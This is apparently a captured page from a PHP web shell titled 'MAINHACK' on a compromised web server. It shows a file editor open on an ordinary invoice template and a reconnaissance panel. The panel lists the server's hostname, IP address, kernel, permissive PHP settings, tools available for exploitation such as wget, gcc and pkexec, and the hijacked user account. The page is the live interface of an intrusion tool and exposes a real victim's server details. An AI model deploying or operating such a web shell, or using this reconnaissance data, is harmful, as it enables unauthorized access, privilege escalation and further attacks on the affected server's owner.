[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: a4_invoice_pdf.php
<?php $lng = $this->session->userdata('language'); $ln_text = isset($lng) && $lng && $lng=="bangla"?"bangla":''; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo lang('transfer');?> <?php echo lang('reference_no'); ?>: <?= $transfer->reference_no; ?></title> <link rel="stylesheet" href="<?php echo base_url(); ?>frequent_changing/css/pdf_common.css"> </head> <body> <div id="wrapper" class="m-auto b-r-5 p-30"> <div class="pb-20"> <h2 class="text-center"><?php echo lang('Transfer_Invoice');?></h2> </div> <table> <tr> <td valign="top" class="w-50"> <h3 class="pb-10"><?php echo lang('Sender_Outlet');?></h3> <p class="pb-7"><?php echo escape_output($from_outlet->outlet_name) ?? ''; ?></p> <p class="pb-7"><?php echo escape_output($from_outlet->address) ?? ''; ?></p> <p class="pb-7"><?php echo escape_output($from_outlet->phone) ?? ''; ?></p> <p class="pb-7"><?php echo escape_output($from_outlet->email) ?? ''; ?></p> </td> <td valign="top" class="w-50"> <h3 class="pb-10"><?php echo lang('Receiver_Outlet');?></h3> <p class="pb-7"><?php echo escape_output($to_outlet->outlet_name) ?? ''; ?></p> <p class="pb-7"><?php echo escape_output($to_outlet->address) ?? ''; ?></p> <p class="pb-7"><?php echo escape_output($to_outlet->phone) ?? ''; ?></p> <p class="pb-7"><?php echo escape_output($to_outlet->email) ?? ''; ?></p> </td> </tr> </table> <table class="mt-20"> <tr> <td class="w-100"> <h3 class="pb-10 pt-10"><?php echo lang('Sending_Details');?></h3> <p class="pb-7 f-w-500 color-71"><span class="f-w-600"><?php echo lang('reference_no');?>:</span> <?php echo escape_output($transfer->reference_no); ?></p> <p class="pb-7 f-w-500 color-71"><span class="f-w-600"><?php echo lang('date');?>:</span> <?php echo dateFormat($transfer->date); ?></p> <p class="pb-7 f-w-500 color-71"><span class="f-w-600"><?php echo lang('name');?>:</span> <?php echo escape_output($user_info->full_name); ?></p> <p class="pb-7 f-w-500 color-71"><span class="f-w-600"><?php echo lang('mobile');?>:</span> <?php echo escape_output($user_info->phone); ?></p> <p class="pb-7 f-w-500 color-71"><span class="f-w-600"><?php echo lang('email');?>:</span> <?php echo escape_output($user_info->email_address); ?></p> </td> </tr> </table> <table class="w-100 mt-20"> <thead class="br-3 bg-00c53"> <tr> <th class="w-5 pl-5"><?php echo lang('sn');?></th> <th class="w-80 text-start"><?php echo lang('item');?> - <?php echo lang('brand'); ?> - <?php echo lang('code');?></th> <th class="w-15 pr-5 text-right"><?php echo lang('qty');?></th> </tr> </thead> <tbody> <?php $i = 0; if ($transfer_details && !empty($transfer_details)) { foreach ($transfer_details as $pi) { $i++; echo '<tr class="op_border_white op_padding_6">' . '<td><p>' . $i . '</p></td>' . '<td><span>' . getItemNameCodeBrandByItemId($pi->ingredient_id) .'</span></td>' . '<td class="text-right">' . $pi->quantity_amount . ' ' . unitName(getPurchaseUnitIdByIgId($pi->ingredient_id)) . '</td>' . '</tr>'; } } ?> </tbody> </table> <?php if ($transfer->note_for_sender != "") {?> <table class="mt-20"> <tr> <td valign="top" class="w-100"> <h4 class="d-block pb-10"><?php echo lang('Note_For_Sender');?></h4> <div class="pt-20"> <p class="h-180 color-black mt-10"> <?php echo escape_output($transfer->note_for_sender); ?> </p> </div> </td> </tr> </table> <?php } ?> <table class="mt-50"> <tr> <td class="w-50 text-left"> <p class="rgb-71 d-inline border-top-e4e5ea pt-10"><?php echo lang('Sender_Signature');?></p> </td> <td class="w-50 text-right"> <p class="rgb-71 d-inline border-top-e4e5ea pt-10"><?php echo lang('Receiver_Signature');?></p> </td> </tr> </table> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002